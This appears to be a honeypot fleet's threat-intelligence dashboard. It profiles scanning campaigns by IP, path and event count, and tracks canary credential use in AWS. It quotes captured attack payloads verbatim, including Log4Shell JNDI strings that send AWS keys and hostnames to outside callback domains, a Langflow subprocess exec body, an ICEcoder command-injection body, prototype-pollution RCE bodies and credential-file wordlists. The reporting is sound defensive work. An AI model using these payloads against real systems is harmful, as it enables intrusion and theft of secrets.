flux fleet — campaign visuals

Period: 2026-10-31 07:33:00 → 2026-11-01 (current 24 h window highlighted) · Generated 2026-11-01 07:50 UTC · CUTOFF 2026-10-31 07:33:00
Companion to flux-digest-2026-11-01.md · briefing 2026-11-01 · registry (registry is markdown in the skill assets)
Fleet events all-time: 2,178,063 Journey-fingerprint sigs: 122 Issued rows all-time: 5,876 24 h top talkers: 15 XFF mismatches all-time: 10556
frantech-ts 09-17/09-18 counts are floor values — node disk-full outage №24, flux writer died ~07:11 UTC 09-17; digest rerun after ops trims pcaps.

Fleet activity — daily events per sensor, 2026-08-29 → today

Attribution health — daily % named clientIp; XFF peer-mismatch chips

ru-edge-1: 9207canary-farm-1: 653frantech-ts: 588control-1: 70ai-devbox-1: 29sponge-01-ts: 4lauterbourg-01-ts: 4netcup-ts: 1

Mint volume — issued rows per day; purple = day with Tracebit use events

Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)

Curated kill-chains — registry campaigns, maintained at briefing time

RECONX-L2S active

⚠ №69 NEW — self-labeled recon kit: 217.60.76.22 (217.60.x is the LIBREDTAIL staging /16 — lineage unproven) hit canary-farm-1 18:57:00 stored under UA `Mozilla/5.0 (compatible; ReconX-L2S/1.0)` + curl/8.6.0: /.env mint (issued) + .env variants (200s) + Laravel trap surfaces (telescope/ignition/laravel-log) + self-markers /__l2s_debug_probe__ and /reconx-790cadc585ee (404) + 2 webapp-form-login POSTs, 40+ events inside 0.7 s with rotating browser UAs. Its mint was worked in AWS the same window — the widest AWS-side use ever observed in the funnel (see CREDENTIAL-DRAIN №69). 2 mints since 10-31 18:57.
flowchart LR
    A["217.60.76.22<br/>ReconX-L2S/1.0 + curl/8.6.0"] --> M["/.env mint (issued)<br/>canary-farm-1 18:57 stored"]
    M --> U["AWS: 15-op read-only enumeration<br/>31 denied · 2 GetCallerIdentity success"]
    U --> Z["widest AWS use observed in the funnel"]

XFF-SWARM watch

⚠ №69 NEW — distributed CI/CD-config census with per-request single-entry X-Forwarded-For forgery: 199 source IPs, 593 xffPeerMismatch events (frantech-ts 588, control-1 3, ai-devbox-1 2), 1–5 events per IP (avg 3.0), 10-31 12:35 → 11-01 03:27 stored; env + CI/CD wordlist (/.env variants, /.gitlab-ci.yml, /.circleci/config.yml, /Jenkinsfile, /.travis.yml, /.git/credentials, /api/config, /v3/api-docs); per-IP forged modern browser UAs (Firefox/125 X11, Safari 14.4.1, Android 14 Pixel 8 Pro); 0 mints, 1 POST. Second mass XFF-forgery sighting in fleet history (first: JNDI-FIELD-INJECT №64–№65, single IP). Fleet single-entry counter 593 vs 2 in №68.
flowchart LR
    A["199 source IPs<br/>1-5 ev each · avg 3.0"] --> F["frantech-ts 588<br/>control 3 · aidev 2"]
    F --> P["env + CI/CD config census<br/>forged browser UAs"]
    P --> X["per-request XFF forgery<br/>0 mints · 1 POST"]

MEGA-DICTIONARY active

№69: SAME-IP REPEAT — 135.136.19.27 returned ~20 h later and replayed the identical 14,154-path dictionary (11-01 00:11 stored, 14,204 events in the 00:00 UTC hour; 28,326 ev across the 24-h window with №68's pass in the overlap) — the №68 watch item answered: first same-IP next-day repeat; owns frantech-ts +173% vs baseline. №68: RETURN — NEW operator 135.136.19.27 (M247 Europe SRL DE): 14,154 GETs / 14,154 unique paths on frantech-ts in 91 s (04:13:40–04:15:11 stored) — fleet-record single-IP replay (prior 13,776); mixed UA set (360 Router P2 v2 → libwww-perl/6.68); dropper-URL dictionary shape (/zatoempire.sh, /bins/bot.mipsel, /cnc, /ambatukam/rizzx.ppc); 0 POSTs, 0 mints; frantech first-seens include /morte.x86_64, /deathstarm68k, /fvbig/zerobot.arc, /krmine-ppc64. №67: IDLE — all three 13,776-event baseline replays (169.150.201.41, 155.2.191.115, 23.234.118.146) silent this window. №66: RETURN after one absent window — two new operator replays on frantech-ts: 169.150.201.41 (Datacamp DE) 13,776 GETs / 13,776 unique paths 10-28 11:17–11:19 stored; 146.70.200.3 (M247) 13,775 / 13,775 on 10-29 05:24–05:25. Hundreds of forged IoT router/NAS UAs per run; dropper-URL dictionary shape (/6ndte2.ps1, /.Sassy.sh4, /a2work_arm); no POSTs, no mints. №65: MISS — no replay; host rotates per replay.
flowchart LR
    A["135.136.19.27 M247 DE<br/>169.150.201.41 Datacamp DE<br/>146.70.200.3 M247"] --> R["13,776 + 13,775 + 14,154 GETs<br/>all unique paths · ≤2 min each"]
    R --> U["forged IoT router/NAS UA sets"]
    R --> D["dropper-URL dictionary<br/>0 POSTs · 0 mints"]

OPENAPI-CENSUS active

№69: FIRST MINTS — 193.47.62.29 minted 4 (one per canary sensor, 10:44–10:51 stored) under honest UA `db-secret-scanner/parsing.py`; 193.47.62.32 ran 103 ev on 4 deception sensors (Go-http-client/1.1); 0 observed AWS use this window. №68: PROMOTED TO STANDING — second window, second IP: 193.47.62.29 (BestDC BG, forged Chrome/123.0.0.0, 922 ev / 5 sensors) + NEW 193.47.62.32 (Go-http-client/1.1, 223 ev / 7 sensors). The census widened beyond spec paths into appsettings/config.json/manifest.json families — owns the config-json spikes (aidev 93 / 11.6×, control 84 / 12.0×) and openapi-spec-json-issued/skeleton spikes on 7 sensors; 0 mints. Techoff BG IPs (195.178.110.159/.22) ran lighter spec legs (11 issued each on farm + ru-edge). №67: ⚠ NEW: 193.47.62.29 489 ev / 150 paths / 20 fams on canary-farm-1 + netcup-ts + ru-edge-1 18:42–00:10 stored; owns the openapi-spec-json-skeleton spikes (22 hits per sensor, 23.0× / 8.2× / 22.0×) and the spec-path first-seens (/api/swagger-ui/swagger.json, /api-docs/swagger.json, /docs/swagger.json); skeletons 200; 0 mints, 0 POSTs.
flowchart LR
    A["193.47.62.29 BestDC BG<br/>forged Chrome/123"] --> S["spec + appsettings/config census<br/>5 sensors · 922 ev"]
    B["193.47.62.32<br/>Go-http-client/1.1"] --> S
    S --> O["openapi-spec spikes<br/>7 sensors"]
    S --> Z["0 mints · 0 POSTs"]

DOCKER-DIGEST-PULL active

№69: third window — 147.90.255.64 again on canary-farm-1 + ru-edge-1 + netcup-ts (64 ev), same honest docker/24.0.7 UA. №68: FULL PULL FLOW — second window added blob GETs (netcup-ts 10, canary-farm-1 2): 147.90.255.64 now walks catalog → tags → manifest-by-digest → blob across canary-farm-1 + ru-edge-1 + netcup-ts (68 ev) under the same honest docker/24.0.7 UA. The flow the №67 watch asked for is established: this client fetches image content, not just metadata. №67: ⚠ NEW: registry v2 manifest pulls BY DIGEST under honest UA `docker/24.0.7 go/go1.21.5 git-commit/311b9ff kernel/6.6.0 os/linux arch/amd64` — 147.90.255.64 on canary-farm-1 + ai-devbox-1 + netcup-ts + ru-edge-1 (81 ev); farm leg pulled 10 by-digest manifests for internal-named repos (/v2/backup/db-migrator/manifests/sha256:5fdcf53…, /v2/internal/auth-service/manifests/sha256:faebf99…, /v2/staging/web-app/manifests/sha256:b741d0c…). Distinct from REGISTRY-HUNT's browser-UA enum.
flowchart LR
    A["147.90.255.64<br/>docker/24.0.7 honest UA"] --> C["catalog → tags"]
    C --> P["manifests by digest<br/>internal repo names"]
    P --> BL["blob GETs ×12<br/>№68 — full pull flow"]
    P --> N["3 sensors this window · 68 ev"]

WP-XRPC-WALK watch

№67: IDENTICAL REPLAY — same signatures and counts (33 IPs/108 ev + 6 IPs/37 ev); 64 distinct IPs touched /wp-json/wp/v2/users (max single-IP REST count 11); 0 mints. ⚠ №66 NEW: fleet-wide distributed low-and-slow WP enumeration, first seen 10-29 — 33 IPs / 108 ev / 7 sensors (cluster 362522228887) + 6 IPs / 37 ev / 5 sensors (0a08798abff5): alternating POST /xmlrpc.php wp.getUsersBlogs multicall → GET /wp-json/wp/v2/users, 1–2 ev/IP, fresh modern per-IP UA set (Safari/17.5, Chrome/138, Firefox/140, Edge/138); 0 mints. Watch IP growth, first mint, UA rotation.
flowchart LR
    A["33 + 6 IPs · 1–2 ev each<br/>7 sensors · first seen 10-29"] --> X["POST /xmlrpc.php<br/>wp.getUsersBlogs multicall"]
    A --> R["GET /wp-json/wp/v2/users<br/>fresh per-IP modern UAs"]
    X --> Z["0 mints<br/>watch IP growth + first mint"]

VPN-CONF-HUNT active

№69: PROMOTED — same operator IP 85.155.14.14 now on frantech-ts (356 ev / 356 unique paths, 17:49–17:53 stored) plus sibling 85.155.14.32 on sponge-01-ts (356 ev, 21:46–21:47), same VPN/cloud wordlist (/surfshark, /zenmate, /warp.conf, /ikev2.conf, /.heroku/credentials, /.config/gcloud/access_tokens.db, /saml.json, /bastion.yaml); UA rotation now spans Mac 14.4.1/14.5, X11 Linux, Win64, Firefox/126; 0 mints. Triggers met: second + third node, sibling IP. ⚠ №66 NEW: 85.155.14.14 (SolidCore Hosting DE) lauterbourg-01-ts 01:38–01:42 stored 10-29 — 355 ev / 355 unique paths in 4 min under 3 rotating browser forgeries (Chrome/124 macOS, Safari/17.5, Firefox/126); owns the node's VPN/tunnel-config first-seens (/.ovpn, /zerotier.conf, /ikev2.conf, /xray.json, /ss.conf, /nordvpn, /windscribe.conf, /forticlient, /sophos, /barracuda, /array-vpn, /rsa-securid, /rsa.conf, /bastion.yml, /proxy.yml); 0 mints. Watch second node or IP.
flowchart LR
    A["85.155.14.14 SolidCore DE<br/>3 rotating browser forgeries"] --> C["355 unique paths in 4 min<br/>lauterbourg-01-ts 01:38 stored"]
    C --> V["VPN/tunnel config stores<br/>/.ovpn · /zerotier.conf · /xray.json …"]
    C --> Z["0 mints"]

PATHSCAN-CENSUS watch

№66: 176.123.5.6 (Alexhost S.r.l. MD) farm 02:21–02:27 stored — 854 ev / 62 trap fams / 282 paths in 6 min under honest UA `Mozilla/5.0 (compatible; pathscan/1.0)`; random-marker probes + webshell sweep + 9 /.env mints incl. /.ENV and /.Env case variants. Watch return, second IP, mint use.
flowchart LR
    A["176.123.5.6 Alexhost MD<br/>pathscan/1.0 honest UA"] --> C["854 ev / 62 fams / 282 paths<br/>6-min burst 02:21 stored"]
    C --> M["9 /.env mints<br/>incl. /.ENV + /.Env case variants"]

TECHTIES-KIT idle

№66: FIRST MISS in five windows — 93.152.221.96 absent, JNDI-FIELD-INJECT silent with it (XFF single-entry forgery 0); hoard static at 1,089/6d. №65: FOURTH consecutive window — 43,046 ev / 5,461 POSTs (farm 24,905/3,868, ru-edge 14,771/1,225, control 3,370/368), 364 mints (hoard 1,091/6d), JNDI injection ×425 rode along, wp-config.* variant walk + refreshed wordlist markers. ⚠ №64 NEW: 93.152.221.96 (TechTies Inc. DE) — census-turned-kit escalation: 48,329 ev / 5,523 POSTs / ~16 h across farm (22,969 ev, 3,451 POSTs), ru-edge (22,069/1,939), control (3,291/133) in repeated walk cycles: tarpit → pscan marker → /.env [issued ×714 — fleet single-window record] → 20+ directory .env fanout → phpMyAdmin credential stuffing (4,767 posts, pma_username=root vs empty/root) → phpunit eval-stdin RCE probe → tomcat-manager enum → aws-credentials-file/etc-passwd/etc-shadow. Log4Shell ${jndi:ldap://${env:AWS_...}.log4j.check/exploit} strings in clientIp+XFF ×455 (JNDI-FIELD-INJECT second run). UAs Chrome/126 forgery + Go-http-client/1.1. Wordlist refresh first-seens: /.env.save.*, /mgmt/tm/util/bash (F5 BIG-IP RCE path), /django_settings.py, /backend/admin*/.env. Watch AWS use of the 714-credential hoard (727/6d), a second TechTies IP, a payload drop.
flowchart LR
    A["93.152.221.96 TechTies DE<br/>Chrome/126 + Go-http-client"] --> W["48,329 ev / ~16 h<br/>3 sensors · repeated cycles"]
    W --> E["/.env issued ×714<br/>fleet-record hoard"]
    W --> P["pma stuffing 4,767 + phpunit RCE probe<br/>+ tomcat enum"]
    W --> J["JNDI in clientIp+XFF ×455<br/>log4j.check OOB"]

AI-ADMIN-SWEEP active

№64: absent — second window; the escalation watch (second IP, any POST, unauthenticated-200 follow-up) stands. ⚠ №63 NEW: 91.99.220.233 (first-ever sighting) — synchronized AI-app admin/setup census across 7 sensors: 6 legs launched within 0.15 s of each other (20:10:29.57-.71 UTC), frantech leg 00:10:57; 865 ev, 20 paths, bare Mozilla/5.0. Paths: /api/user/self, /api/v1/admin/workspaces, /console/api/setup, /api/v1/chatflows, /rest/settings, /api/config, /model/info, /v1/models, /v1/chat/completions, /system_stats, /health/readiness — LiteLLM/Flowise/Dify/n8n/ComfyUI admin surfaces; tags litellm-admin-unauthenticated, llm-endpoint-ollama-version, docker-daemon-info, observability-health. GET-only, 0 mints, 0 POSTs. Watch a second operator IP, any POST, or an unauthenticated-200 follow-up.
flowchart LR
    A["91.99.220.233<br/>bare Mozilla/5.0"] --> S["6 legs in 0.15 s<br/>7 sensors"]
    S --> P["20 AI-admin paths<br/>LiteLLM · Flowise · Dify · n8n · ComfyUI"]
    P --> Z["GET-only<br/>0 mints"]

CLOUDCONF-CENSUS active

№64: absent — first idle window since naming; the 8-day return gap (first seen 10-18) closes next cycle. ⚠ №63 NEW (first seen 10-18, named this cycle): 85.155.14.x (SolidCore Hosting DE, 3 IPs) — cloud-credential + VPN-config census. Cloud arm: /.aws/* incl. credentials.old/.bak and sso/cache, /.azure/* (accessTokens.json, azureProfile.json, clouds.config), /.config/gcloud/*, /.aliyun*, /.boto, /.cloudflare, /.config/doctl, /*.tfvars, passwd-s3fs, s3cfg. VPN arm: wg0.conf, globalprotect.conf, watchguard.conf, paloalto, checkpoint, mullvad, strongvpn, vyprvpn, cisco-vpn, proxy.yaml, /.netlify/state.json, /.scaleway, /scaleway.json, /.openstack, /.softlayer.json, /hetzner.json. This window: 356 ev on each of 3 sensors (farm+netcup .14, frantech .15), 47 trap families on farm, Chrome/124-125 + Firefox/125 forgeries; the VPN paths are netcup first-seens. GET-only, 0 mints. 2,015 all-time ev since 2026-10-18.
flowchart LR
    A["85.155.14.x SolidCore DE<br/>Chrome/124-125 forgeries"] --> C["cloud-cred census<br/>aws · azure · gcloud · aliyun · tfvars"]
    A --> V["VPN-config walk<br/>wg0 · globalprotect · paloalto · checkpoint"]
    C --> Z["GET-only · 0 mints<br/>3 sensors"]

EXCHANGE-DICT idle

⚠ №60 NEW: 192.153.76.57 (Amazon US) ru-edge-1 only — fleet-record single-IP dictionary crawl: 69,615 ev / 69,174 paths (near-zero reuse) in 4 h 16 m (17:13–21:29 UTC 10-22), GET-only, 0 POSTs, one forged Chrome/96 UA (+64 Chrome/155 legs). Tag mix: phpmyadmin-login 38,582, not-handled 22,750, exchange-autodiscover 2,310, exchange-ecp-login 1,546, exchange-ews 1,432, exchange-owa-landing 1,073, exchange-oab 610, webshell-probe 210, backup-archive 141, fake-git 88, fake-svn-error 69, etc-passwd 32. 1 mint (17:25 UTC). Owns ru-edge's phpmyadmin-login 2375×, not-handled 97×, webshell-probe 120× and all six exchange spikes. Watch a second IP or node; a captured POST or an AWS use of the mint escalates.
flowchart LR
    A["192.153.76.57 AWS US<br/>Chrome/96 forgery, GET-only"] --> B["69,615 ev / 69,174 paths<br/>4 h 16 m on ru-edge-1"]
    B --> C["phpMyAdmin wordlist 38,582<br/>+ Exchange probes ~6,971"]
    B --> M["/.env-class mint ×1"]
    M --> Q["AWS use unobserved<br/>at window close"]

JNDI-FIELD-INJECT active

№65: THIRD RUN, same operator and payload — 425 events (farm 268, ru-edge 128, control 29), 04:58–21:22 UTC stored, every socketPeer 93.152.221.96; the XFF single-entry forgery counter's 425 is entirely this campaign, second consecutive mass-sighting window. №64: SECOND RUN, new payload and operator — TechTies 93.152.221.96 injected ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} + the AWS_SECRET_ACCESS_KEY variant in clientIp AND X-Forwarded-For on GET / (Go-http-client/1.1): 455 events (farm 247, ru-edge 184, control 24), 21:47–05:20 UTC — the XFF single-entry forgery counter's first mass sighting (455 vs ~0 normal); log4j.check DNS callback unobservable in these logs. ⚠ №60 NEW: 64.52.111.255 / .253 / .248 (Amazon US, same /24, ru-edge-1 only) — Exchange/vSphere/AI-API census plus 145 POSTs (bodies not captured) and a Log4Shell JNDI string in the clientIp AND X-Forwarded-For identity fields: ${jndi:${lower:d}n${lower:s}://${env:hostName}.dbctli1aobf8eu4av71gxdyzz5frsjccq.interact.sploit.in} on GET /websso/SAML2/SSO/vsphere.local (13:44:15 UTC, forged Chrome/40) — the hostname would leak to the interact.sploit.in listener on any vulnerable parser. Second identity-field injection class after №59's telnet2.sh row (same XFF counter). .255: 3,090 ev / 2,056 paths / 145 POSTs / 2 mints over 3 h 52 m under forged Chrome/40 (2,959) + Chrome/127 (131, the POST legs); .253: 1,588 ev / 503 paths in 10 m, 7 POSTs; .248: 12 ev light legs. openapi-spec-json-issued ×6 on .255. Watch: any interact.sploit.in DNS telemetry, a second /24, or AWS use of the 2 mints.
flowchart LR
    A["64.52.111.255/.253/.248 AWS US<br/>Chrome/40 + Chrome/127"] --> B["ru-edge census 2,056 paths<br/>+ 145 POSTs (bodies uncaptured)"]
    A --> J["JNDI string in clientIp + XFF<br/>${jndi:...interact.sploit.in}"]
    J --> O["OOB callback domain<br/>interact.sploit.in"]
    A --> M["2 mints<br/>openapi-spec-json-issued ×6"]

AI-EXEC-HUNT active

№66: RETURNED again — fourth operator IP 34.95.21.228 (Google LLC CA) farm 18:17 stored: 623 ev / 276 paths / 51 fams, 41 mints in a 5-s burst under the AI-crawler forgery set, React-Flight RCE POSTs (boundary r2s1acmxpsphaq8w) on /login,/admin,/dashboard,/settings,/api/auth; the 41-credential pile ties the two standing AI-EXEC piles. №64: RETURN after two idle windows — 136.65.203.248 (Google LLC US, third operator IP) farm 19:00:48–57 UTC: 623 ev / 276 paths / 33 AI-crawler forgeries in 9 s, 41 mints (ties record), 21 POSTs — React-Flight RCE bodies {"then":"$1:__proto__:then","status":"resolved_model"…} with NEW boundary r2s3km489nw4b6k on /login,/admin,/dashboard,/settings,/api/auth; vite-fs-issued ×7, gcp/firebase/proc-environ legs; marker path unchanged; decoys held. №61: RETURN after four idle windows — 136.66.182.42 (Google LLC US) canary-farm-1 05:03–05:04 UTC: 649 ev / 297 paths / 57 families in ~1 min, 20+ forged AI-crawler UAs (Kimi/Kimi-SearchBot/Moonshot/Hunyuan/ChatGLM/DeepSeek/YouBot/DuckAssist/Claude-User+ClaudeBot+Claude-SearchBot/ChatGPT-User/GPTBot/1.4/OAI-AdsBot/Googlebot desktop+mobile/Applebot ×4/bingbot/Bravebot/Amazonbot/Meta-ExternalFetcher+Agent+WebIndexer/GrokBot/CCBot/Baiduspider/cohere-ai), 41 Tracebit mints in 6 s (ties the record), marker path /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show unchanged, boundary-rotated multipart JSON-action probes {"then":"$1:_ (boundary r2s1b10479syd5v3 vs №57's r2s926xynu59lcd) on /admin,/dashboard,/settings,/api/auth, graphql-introspection ×3 (/graphql,/api/graphql,/v1/graphql), POST /app, /document.php webshell-sweep-observed; decoys held 200/302. №59: absent — third window; the 41-credential hoard drew zero AWS use through +72 h. №58: absent — second window with no second sighting; the 41-canary hoard drew zero AWS use through this window's Tracebit pull (+24 h). ⚠ №57 NEW: 34.58.160.181 (Google LLC US) canary-farm-1 20:03–20:04 UTC — 648 ev / 300 paths / 59 families / 33 forged AI-crawler UAs in 18 s, 48 mint rows (41 Tracebit credentials, 0 AWS use at window close — hostile-held), 32 POSTs incl. captured execution probes: langflow /api/v1/validate/code 200 body {"code":"@exec('raise Exception(__import__(\"subprocess\").check_output(\"env 2>…, ICEcoder /lib/terminal-xhr.php 200 body command=env&password=bypass&csrf=x, flowise node-load-method/customMCP + node-custom-function, multipart JSON-action probes {"then":"$1:_ to /login,/admin,/dashboard,/settings,/api/auth; graphql-introspection /graphql,/api/graphql,/v1/graphql; /@fs/.env + /@fs/root/.env vite-fs-issued; marker path /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show. Template kinship METADATA-HUNT (@fs + AI-crawler UA set); operator link unproven.
flowchart LR
    A["136.66.182.42 Google US<br/>20+ AI-crawler UAs, 1 min"] --> C["census + /.env mints<br/>41 creds (ties record)"]
    A --> G["graphql-introspection ×3"]
    A --> X["multipart JSON-action {"then":"$1:_<br/>boundary r2s1b10479syd5v3"]
    X --> E["decoys held 200/302<br/>0 execution"]

AI-CLI-VAULT active

⚠ №62 NEW: 195.182.16.183 (Amarutu Technology Ltd DE, first-ever sighting) — fleet-wide 8-sensor census in one window: 1,067 paths / 42 families on each canary sensor (aidev/control/ru-edge 1,720 ev, farm 1,501) + a 162-path list on all 4 deception nodes; 919 of 1,067 paths target AI-CLI/dev stores — kimi-code credentials+config.toml, .grok/auth.json, .muse-code, goose config.yaml, huggingface token, fabric .env, codeium windsurf mcp_config, claude-settings, gemini-oauth-creds, continue-config, gh-hosts-yml — plus /root dotfiles (.ssh, .docker, .git-credentials, .npmrc, .kube) and /var/www/app. UAs Go-http-client/1.1 + Firefox/146 forgery. 0 mints, 0 POSTs — existence probes. Same-/24 prober 195.182.16.23 ran its light pass alongside. Watch: a mint, AWS-side use, or a second operator IP.
flowchart LR
    A["195.182.16.183 Amarutu DE<br/>Go-http-client + Firefox/146"] --> W["1,067-path AI-CLI vault census<br/>×4 canary sensors · 42 fams"]
    A --> D["162-path light list<br/>×4 deception nodes"]
    W --> P["kimi-code · grok · muse · goose<br/>huggingface · fabric · codeium<br/>claude · gemini-oauth · continue"]
    W --- Z["0 mints · 0 POSTs<br/>existence probes only"]

ANDROXGH0ST-KIT active

⚠ №61 NEW: lauterbourg-01-ts — lead 2.58.56.23 (1337 Services GmbH NL): 597 ev / 402 paths / 19 POSTs 18:26 UTC. POST body 0x%5B%5D=androxgh0st on / and /index.php (the AndroxGh0st .env/Laravel probe parameter), then a 19-POST WordPress plugin-upload battery in 0.5 s: /wp-admin/admin-ajax.php ×9, /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php, /wp-content/plugins/contact-form-7-db/img/upload.php, /wp-content/plugins/backup-backup/includes/backup-heart.php, /wp-content/plugins/blueimp-jquery-file-upload/server/php/index.php, /wp-json/bricks/v1/render_element — multipart bodies 388–662 B, Content-Type application/x-php; decoys answered 200/302/404, 0 mints. Rest of the run is a 364-path config/credential census under rotating forged Chrome/Firefox/Edge/Safari UAs. Digest cluster 2d3e95b722b5 (9 IPs, lauterbourg-only, first seen 10-24); php2shell-root/login tags are the catch-all surface, not a campaign.
flowchart LR
    A["2.58.56.23 1337 Services NL<br/>597 ev / 402 paths"] --> B["POST 0x%5B%5D=androxgh0st<br/>/ + /index.php"]
    A --> C["19× WP plugin-upload POSTs<br/>admin-ajax + 5 uploader paths"]
    C --> D["decoys 200/302 held<br/>0 mints"]

ADMINER-SWARM active

№69: pools active on the 4 deception nodes (136.144.42.x + 172.98.32.x crossnode rows, ≤6 ev/IP; phpmyadmin-login legs on lauterbourg-01-ts under Firefox/105); 0 mints this window. №65: pool on aidev+ru-edge+farm trios (28 crossnode rows, 17-42 ev/IP), 6 mints 1/IP (.101/.103/.117 aidev, .107 ru-edge, .108/.116 farm). №63: RETURNED after №62 absence — ~40 of the 173.239.214.x pool on lauterbourg + ru-edge pairs (5-32 ev/IP), 1 mint (173.239.214.87 ru-edge); first lauterbourg pairing. №60: WENT FLEET-WIDE — 40+ of the 173.239.214.x pool plus the 45.131.195.x trio hit 6-7 sensors each at 34-96 ev per IP (crossnode table); per-IP volume low, credential POSTs below the spike threshold this window; 5 pool mints (173.239.214.88/.94/.110/.114 farm, .120 aidev). №59: RETURNED — 173.239.214.x pool back with 49 IPs / 2,136 ev on 4 sensors (aidev, control, ru-edge, farm) + a NEW second block 45.131.195.x (3 IPs / 167 ev); 68 + 15 adminer-credential-post POSTs with the INFOCREST/AKAMAI-CONFIG joomla_app body shape and a fresh 22-char password per POST (45.131.195.68: auth[username]=joomla_app&auth[password]=nzcOIczZ6Sw-2LUXAXChNw; 173.239.214.103 used username no-reply@app.internal); 8 mints (7 pool + 1 45.131.195.68); owns farm's adminer-login 4.6× + credential-post 4.5× spikes (11 posting IPs on farm). №58: pools absent (first miss) — heaviest leg 23.234.78.109 continued solo under the config-bundle/tomcat-bypass census shape (see CONFIGBUNDLE-KIT), 4 mints, and a lauterbourg kiteworks walk (python-requests/2.32.5). ⚠ №57 NEW: distributed low-and-slow adminer/phpMyAdmin census pool — 99 IPs across two /24s (173.239.214.x 70 IPs / 969 ev; 185.198.240.x 29 IPs / 767 ev) touching 5 sensors (aidev, farm, control, ru-edge + light legs), ~14 ev per IP: / + /index.php + adminer/phpMyAdmin login-surface enum (/admin/adminer.php, /PMA/, /php-myadmin/, /adminer.php, /phpmyadmin2/) then 3 adminer-credential-post + adminer-login POSTs per IP; rotating Chrome/105-107 + Firefox/105-106 forgeries; 3 mints (173.239.214.253 ru-edge, 173.239.214.238 aidev, 185.198.240.22 farm); owns aidev's adminer credential-post 4.1× + login 4.3× spikes. Heaviest single: 23.234.78.109 (tzulo US) 6+6 POSTs + 2 mints on aidev.
flowchart LR
    P["173.239.214.x 70 IPs +<br/>185.198.240.x 29 IPs"] --> E["adminer/phpMyAdmin enum<br/>~14 ev per IP, 5 sensors"]
    E --> C["3 credential POSTs per IP"]
    C --> M["3 mints — hostile-held"]

CONFIGBUNDLE-KIT active

№59: no NEW legs — the only runs in this digest remain the №58 quad, which falls inside this window (217.60.198.111 629 ev / 4 sensors / 6 mints; 146.70.211.38 600 ev / 3 sensors / 2 mints; 208.84.100.218 36 ev / 3 sensors / 1 mint); kit-vs-coincidence still open. ⚠ №58 NEW: one config-bundle census shape across 4 hosting orgs in one window — families webapp-config-bundle-js(-error/-json), tomcat-path-bypass-env, phpinfo, symfony-profiler-phpinfo, wp-batch, whm-login, ds-store, fake-git. Operators: 217.60.198.111 (FIRST EVER 03:44 UTC-4; 629 ev / 4 sensors in 19 min / 6 mints; Chrome/105–107 + Firefox/105–106 + python-requests/2.32.5 rotation; 217.60.x = the LIBREDTAIL staging /16 — unproven link), 146.70.211.38 (FIRST EVER 04:23; 600 ev / 3 sensors / 2 mints; M247; Chrome/106), 208.84.100.218 (first seen 10-02, 135 ev all-time; Chrome/39 forgery; 36 ev / 3 sensors / 1 mint today), plus 23.234.78.109 (ADMINER-SWARM's heavy leg — same families + 4 mints today). One kit with rotating hosting is Moderate confidence; the family mix is the fingerprint.
flowchart LR
    A["217.60.198.111 · first ever<br/>629 ev / 4 sensors / 6 mints"] --> F["webapp-config-bundle-js ±<br/>tomcat-path-bypass-env"]
    B["146.70.211.38 · first ever<br/>600 ev / 3 sensors / 2 mints"] --> F
    C["208.84.100.218 · Chrome/39<br/>since 10-02 · 1 mint"] --> F
    D["23.234.78.109<br/>ex-ADMINER heavy leg · 4 mints"] --> F
    F --> E["phpinfo · symfony · wp-batch ·<br/>whm-login · ds-store"]

CLAUDE-CRED-HUNT active

№69: NEAR-IDLE — 87.192.41.180 ran 1 event per sensor (8 total), 0 mints; both the .env census and the /.claude walk silent. №68: TOOLING SWITCH — 87.192.41.180 returned on all 8 sensors (402 ev, 15:39–22:00 stored) but ran a .env-variant census (~50 env paths × 8 hits each: /.env, /.env.local, /.env.bak, /.env.test, /.env.dev, /.env~, /.env.tmp, /.env.old, /config) instead of the Claude-store walk; same forged Chrome/136; 3 mints (1 each on farm/control/ru-edge). No /.claude path this window. ⚠ №59 NEW: 87.192.41.180 — on record 10-17 hammering exactly /.claude/.credentials.json 70×, this window a 10-path Claude Code store walk (/.claude.json, /.claude/.credentials.json, /.claude/.env, /.claude/settings.json, /.claude/settings.local.json + /root|home/{ubuntu,admin,debian,claude}/.claude/.credentials.json) as 22 identical events on ALL 8 sensors (176 ev), forged Chrome/136, GET-only, 0 mints/POSTs. Digest signatures 80d29a9d099a (not-handled nodes) + 5b06f50534d3 (claude-credentials trap nodes) are the same walk split by node result tags. Wordlist leak in-window: 213.209.159.175 (4 ev, control) + 45.138.12.24 (3 ev, netcup) fetched the same paths.
flowchart LR
    A["87.192.41.180<br/>Chrome/136 forgery"] --> P["№59: 10-path Claude Code store walk<br/>.claude.json · credentials.json<br/>settings.json · .env"]
    A --> E["№68 switch: .env-variant census<br/>402 ev × 8 sensors · 3 mints"]
    P --> S["22 events × 8 sensors<br/>176 ev total"]
    S --> X["0 mints · 0 POSTs<br/>claude-credentials trap held"]

SES-QUOTA-PROBE idle

№58: silent — no use-side events from 137.23.38.53 this window. ⚠ №57 PROMOTED (was the 137.23.38.53 watch single): the collector drew 84 AWS events across 2 stolen credentials — DENIED ses:GetSendQuota ×72 + iam:GetUser ×6 plus sts:GetCallerIdentity successes (6) — its first use beyond self-validation. Third window: №55 mint + self-use, №56 expanded census + self-use, №57 SES/IAM probing (bulk-sender recon intent). 0 in-window mints; its 3 held farm canaries from 10-17/10-18 are the inventory being worked. Use IP never appears in flux logs (all-time).
flowchart LR
    C["137.23.38.53<br/>3 farm mints 10-17/10-18"] --> U["84 AWS events, 1 use IP"]
    U --> S["DENIED ses:GetSendQuota ×72<br/>+ iam:GetUser ×6"]
    U --> G["GetCallerIdentity success ×6"]

WEBSIPHON idle

